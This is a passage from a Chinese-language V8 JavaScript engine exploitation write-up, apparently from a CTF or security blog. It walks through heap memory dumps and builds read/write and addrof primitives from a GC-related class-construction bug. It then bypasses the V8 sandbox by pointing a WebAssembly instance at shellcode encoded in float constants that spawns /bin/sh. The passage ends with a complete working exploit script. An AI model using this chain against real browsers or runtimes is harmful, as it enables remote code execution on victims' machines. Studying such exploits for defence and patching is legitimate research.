- dependent code: 0x3d0b000006b5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

mark is ==> 13
a [mark] is ==> 60030af69
a[2] is ==> 200000030ae7d

--------------gdb查看----------------
pwndbg> x/40wx 0x3d0b0030ae7d-1
0x3d0b0030ae7c: 0x00000829 0x00000002 0x0030aee5 0x3ff19999 # 0
0x3d0b0030ae8c: 0x0018ee25 0x000006a5 # 1 0x0030ae7d 0x00020000 # 2
0x3d0b0030ae9c: 0x001a3049 0x001a3049 # 3 0x0018ee25 0x000006a5 # 4
0x3d0b0030aeac: 0x0030af49 0x00000006 # 5 0x00001495 0x0030aea5 # 6
0x3d0b0030aebc: 0x00000000 0x000006b5 # 7 0x00000001 0x00000001 # 8
0x3d0b0030aecc: 0x0030a801 0x0030a6b1 # 9 0x000006a5 0x0030af89 # 10
0x3d0b0030aedc: 0x0030afdd 0x0030afed # 11 0x0018ee25 0x000006a5 # 12
0x3d0b0030aeec: 0x0030af69 0x00000006 # 13 0x00000565 0x00000026
0x3d0b0030aefc: 0x000006c1 0x00000061 0x000006c1 0x000006c1
0x3d0b0030af0c: 0x000006c1 0x000006c1 0x000006c1 0x000006c1

我们可以数一下rwarr数组的elements距离起始位置的偏移刚好是我们所计算的mark值是一样的,因此我们可以通过此方式来获取和修改rwarr数组elements所指向的区域。

下面是实现该功能的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function write(where, what) {
b64[0] = 0n;
f64[0] = a[mark];
if (u32[0] == 0x6) {
u32[1] = where - 8;
a[mark] = f64[0];
}else if (u32[1] == 0x6) {
u32[0] = where-8;
a[mark] = f64[0];
}
rwarr[0] = what;
}

获取GC抗性

由于V8垃圾回收机制的存在,我们需要分配若干对象并利用垃圾回收机制将其迁移至老生代内存空间,随后使用初始原语对这些对象进行篡改,并最后将保留在新生代的对象进行修复。

下面是完成该步骤的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder = {p1:0x1, p2: 0x1, p3:0x1};

let changer_addr = addrof_tmp(changer);
let leaker_addr = addrof_tmp(leaker);
let holder_addr = addrof_tmp(holder);
u32[0] = holder_addr;
u32[1] = 0xc;
let holder_addr_64 = f64[0];
u32[0] = leaker_addr;
u32[1] = 0xc;

write(changer_addr + 0x8, f64[0]);
// %DebugPrint(changer);
write(leaker_addr + 0x8, holder_addr_64);
// %DebugPrint(leaker);
x.length = 0;
a.length = 0;
rwarr.length = 0;

这里就是获取GC对抗的代码,下面我们就可以开始书写真正的读写原语了。

最终OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function v8h_read64(addr) {
holder_addr_64 = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];

let ret = leaker[0];
changer[0] = holder_addr_64;
return f2i(ret);
}
function v8h_write(addr, value) {
holder_addr_64 = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];

f64[0] = leaker[0];
u32[0] = Number(value);
leaker[0] = f64[0];
changer[0] = holder_addr_64;
}

function addrof(obj) {
holder.p2 = obj;
// %DebugPrint(leaker);
// %DebugPrint(holder);
let ret = leaker[1];
holder.p2 = 0;
return f2i(ret) & 0xffffffffn;
}

绕过V8沙箱

我们需要创建两个WASM实例来绕过V8沙箱,一个用于存储shellcode,另一个用于篡改指向shellcode的64位指针

首先我们来看第一段wasm实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]);

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);

let shell_func = shell_wasm_instance.exports.main;

shell_func();


let shell_wasm_instance_addr = addrof(shell_wasm_instance);
let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);
let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;
let shell_code_addr = shell_func_code_addr + 0x2Dn;

上述代码的0x48n是wasm段距离wasm实例开始的偏移,之后的0xB40n和0x2Dn则是通过调试得到的函数地址和shellcode起始地址,我们可以在gdb中查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/10i 0x27b04622e000 + 0xB40
0x27b04622eb40: push rbp
0x27b04622eb41: mov rbp,rsp
0x27b04622eb44: push 0x8
0x27b04622eb46: push rsi
0x27b04622eb47: sub rsp,0x10
0x27b04622eb4e: cmp rsp,QWORD PTR [r13-0x60]
0x27b04622eb52: jbe 0x27b04622ec1e
0x27b04622eb58: vxorpd xmm0,xmm0,xmm0
0x27b04622eb5c: mov rax,QWORD PTR [rsi+0x27]
0x27b04622eb60: shr rax,0x18

pwndbg> x/10i 0x27b04622e000 + 0xB40 + 0x2d
0x27b04622eb6d: push 0x3b
0x27b04622eb6f: pop rax
0x27b04622eb70: nop
0x27b04622eb71: nop
0x27b04622eb72: nop
0x27b04622eb73: jmp 0x27b04622eb80
0x27b04622eb75: vmovq xmm0,r10
0x27b04622eb7a: vmovsd QWORD PTR [rax],xmm0
0x27b04622eb7e: movabs r10,0xbeb5b0068732f68
0x27b04622eb88: vmovq xmm0,r10

执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,
1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,
2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,
110,99,0,0,
2,106,115,3,116,98,108,1,112,0,2,
3,3,2,1,0,
7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,
10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,
233,67,26,26,11,6,0,
32,0,16,0,11
]);


const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});

const importObject = {
imports: { imported_func : (n) => n + 1, },
js: { tbl }
};

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);

let wasmInstance_addr = addrof(wasmInstance);
let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);

let func_make_array = wasmInstance.exports.make_array;

let func_main = wasmInstance.exports.main;
wasm_write(wasmInstance_addr+0x48n, shell_code_addr);
func_main();

执行exp

image-20250217005255600

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
let empty_object = {};
let empty_array = [];
let corrupted_instance = null;
let dogc_flag = false;
let buffer = new ArrayBuffer(8);
let f64 = new Float64Array(buffer);
let u32 = new Uint32Array(buffer);
let b64 = new BigUint64Array(buffer);
let system_flag = true;

function dogc() {
if (dogc_flag == true) {
for (let i = 0; i < 900; i++) {
new ArrayBuffer(0x10000);
}
}
}

class ClassParent { }
class ClassBug extends ClassParent {
constructor(a20, a21, a22) {
const v24 = new new.target();
let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
super();
let a = [1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
[1] = dogc();
}

for (let i = 0; i < 200; i++) {
dogc_flag = false;
if (i % 2 == 0) dogc_flag = true;
dogc();
}

for (let i = 0; i < 650; i++) {
dogc_flag = false;
if (i == 644 || i == 645 || i == 646 || i == 640) {
dogc_flag = true;
dogc();
dogc_flag = false;
}
if (i == 646) dogc_flag = true;
let x = Reflect.construct(ClassBug, empty_array, ClassParent);
if (i == 646) {
corrupted_instance = x;

// %DebugPrint(corrupted_instance.a);

}
}

let x = corrupted_instance.x;
let a = corrupted_instance.a;
let rwarr = [1.1, 2.2, 2.2];
dogc_flag = true;
dogc();
x[5] = 0x10000;

function addrof_tmp(obj) {
x[0] = obj;
f64[0] = a[0];
return u32[0];
}
let addr_a = addrof_tmp(a);
let addr_rwarr = addrof_tmp(rwarr);
let offset = (addr_rwarr - addr_a) + 0xc;
if ((offset % 8) != 0) {
offset += 4;
}
offset = offset / 8;
offset += 1;
offset -= 1;
let mark = offset;
%DebugPrint(a);
%DebugPrint(rwarr);
console.log("mark is ==> " , mark);
console.log("a [mark] is ==> ", f2i(a[mark]).toString(16));
console.log("a[2] is ==> ", f2i(a[2]).toString(16));
function write(where, what) {
b64[0] = 0n;
f64[0] = a[mark];
if (u32[0] == 0x6) {
u32[1] = where - 8;
a[mark] = f64[0];
}else if (u32[1] == 0x6) {
u32[0] = where-8;
a[mark] = f64[0];
}
rwarr[0] = what;
}

let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder = {p1:0x1, p2: 0x1, p3:0x1};

let changer_addr = addrof_tmp(changer);
let leaker_addr = addrof_tmp(leaker);
let holder_addr = addrof_tmp(holder);
u32[0] = holder_addr;
u32[1] = 0xc;
let holder_addr_64 = f64[0];
u32[0] = leaker_addr;
u32[1] = 0xc;

write(changer_addr + 0x8, f64[0]);
// %DebugPrint(changer);
write(leaker_addr + 0x8, holder_addr_64);
// %DebugPrint(leaker);
x.length = 0;
a.length = 0;
rwarr.length = 0;
//------------------------------------------------

function f2i(f) {
f64[0] = f;
return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}
function v8h_read64(addr) {
holder_addr_64 = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];

let ret = leaker[0];
changer[0] = holder_addr_64;
return f2i(ret);
}
function v8h_write(addr, value) {
holder_addr_64 = changer[0];
u32[0] = Number(addr)-8;
u32[1] = 0xc;
changer[0] = f64[0];

f64[0] = leaker[0];
u32[0] = Number(value);
leaker[0] = f64[0];
changer[0] = holder_addr_64;
}

function addrof(obj) {
holder.p2 = obj;
// %DebugPrint(leaker);
// %DebugPrint(holder);
let ret = leaker[1];
holder.p2 = 0;
return f2i(ret) & 0xffffffffn;
}

let buffer_2 = new ArrayBuffer(8);
let f64_2 = new Float64Array(buffer_2);
let u32_2 = new Uint32Array(buffer_2);
let b64_2 = new BigUint64Array(buffer_2);

function wasm_write(addr, value) {
holder_addr_64 = changer[0];
u32_2[0] = Number(addr)-8;
u32_2[1] = 0xc;
changer[0] = f64_2[0];

b64_2[0] = value;
leaker[0] = f64_2[0];
changer[0] = holder_addr_64;
}
// var data_buf = new ArrayBuffer(0x10);
// var data_view = new DataView(data_buf);
// data_view.setFloat64(0, 2.0, true);
// %DebugPrint(data_buf);
// %DebugPrint(data_view);
// while (1) {

// }
let shell_wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 17, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 133, 1, 1, 130, 1, 0, 65, 0, 68, 0, 0, 0, 0, 0, 0, 0, 0, 57, 3, 0, 65, 0, 68, 106, 59, 88, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 115, 104, 0, 91, 235, 11, 57, 3, 0, 65, 0, 68, 104, 47, 98, 105, 110, 89, 235, 11, 57, 3, 0, 65, 0, 68, 72, 193, 227, 32, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 1, 203, 83, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 137, 231, 144, 144, 144, 235, 11, 57, 3, 0, 65, 0, 68, 72, 49, 246, 72, 49, 210, 235, 11, 57, 3, 0, 65, 0, 68, 15, 5, 144, 144, 144, 144, 235, 11, 57, 3, 0, 65, 42, 11
]);

let shell_wasm_module = new WebAssembly.Module(shell_wasm_code);
let shell_wasm_instance = new WebAssembly.Instance(shell_wasm_module);

let shell_func = shell_wasm_instance.exports.main;

shell_func();

%DebugPrint(shell_func);

let shell_wasm_instance_addr = addrof(shell_wasm_instance);
let shell_wasm_rwx_addr = v8h_read64(shell_wasm_instance_addr + 0x48n);


let shell_func_code_addr = shell_wasm_rwx_addr + 0xB40n;
let shell_code_addr = shell_func_code_addr + 0x2Dn;
console.log(shell_func_code_addr.toString(16));
console.log(shell_code_addr.toString(16));
%DebugPrint(shell_wasm_instance);
// while (1) {
// }
var wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,
1,15,3,96,1,124,1,124,96,2,124,124,0,96,0,1,125,
2,36,2,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,
110,99,0,0,
2,106,115,3,116,98,108,1,112,0,2,
3,3,2,1,0,
7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,
10,31,2,22,0,68,144,144,144,144,72,137,16,195,68,204,204,204,204,204,204,
233,67,26,26,11,6,0,
32,0,16,0,11
]);


const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});

const importObject = {
imports: { imported_func : (n) => n + 1, },
js: { tbl }
};

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, importObject);

let wasmInstance_addr = addrof(wasmInstance);
let RWX_page_pointer = v8h_read64(wasmInstance_addr+0x48n);

let func_make_array = wasmInstance.exports.make_array;

let func_main = wasmInstance.exports.main;
wasm_write(wasmInstance_addr+0x48n, shell_code_addr);
func_main();